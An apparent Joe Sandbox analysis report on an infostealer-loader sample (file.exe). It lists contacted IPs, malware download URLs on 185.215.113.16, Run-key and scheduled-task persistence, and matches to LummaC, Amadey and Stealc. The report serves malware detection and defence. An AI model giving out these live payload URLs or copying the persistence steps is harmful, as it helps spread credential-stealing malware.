https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmoz-e	firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001A.00000002.3224109770.0000019E3B86B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exed	58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest5	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001A.00000002.3285958832.0000019E4DA59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3247984693.0000019E4B65C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
http://185.215.113.16/mine/random.exeg	file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.3260229875.0000019E4C00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.29FHiY4uhCsN7	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://basket.mozilla.org/subscribe.json	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2356103217.000000000155D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000003.3147296630.0000019E53C6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3165170400.0000019E4E0ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/strings	firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/website-translationresource://gre/modules/PrivateBrowsingUtils.sys.mj	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
http://185.215.113.16/X	file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.184.206	youtube.com	United States	15169	GOOGLEUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545100
Start date and time:	2024-10-30 05:23:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@82/38@94/14
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 54.185.230.140, 52.11.191.138, 35.160.212.113, 172.217.18.10
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, safebrowsing.googleapis.com, location.services.mozilla.com
Execution Graph export aborted for target 58ce8f976c.exe, PID 6068 because there are no executed function
Execution Graph export aborted for target S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe, PID 6408 because it is empty
Execution Graph export aborted for target file.exe, PID 1880 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6264 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:24:05	API Interceptor	11x Sleep call for process: file.exe modified
00:25:02	API Interceptor	570376x Sleep call for process: skotes.exe modified
00:25:16	API Interceptor	30x Sleep call for process: 58ce8f976c.exe modified
00:25:44	API Interceptor	21x Sleep call for process: 7451ae0b11.exe modified
00:25:58	API Interceptor	16x Sleep call for process: num.exe modified
00:26:06	API Interceptor	1x Sleep call for process: firefox.exe modified
05:24:30	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
05:25:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 58ce8f976c.exe C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
05:25:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7451ae0b11.exe C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe
05:25:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 760934cb92.exe C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe
05:25:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002538001\num.exe
05:25:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 58ce8f976c.exe C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
05:26:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7451ae0b11.exe C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe
05:26:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 760934cb92.exe C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe
05:26:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002538001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
dyna.wikimedia.org	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7YW0363WEKP7ULOI0QRA.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\W7N881PI98FKFOKWDI7HCS7W.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
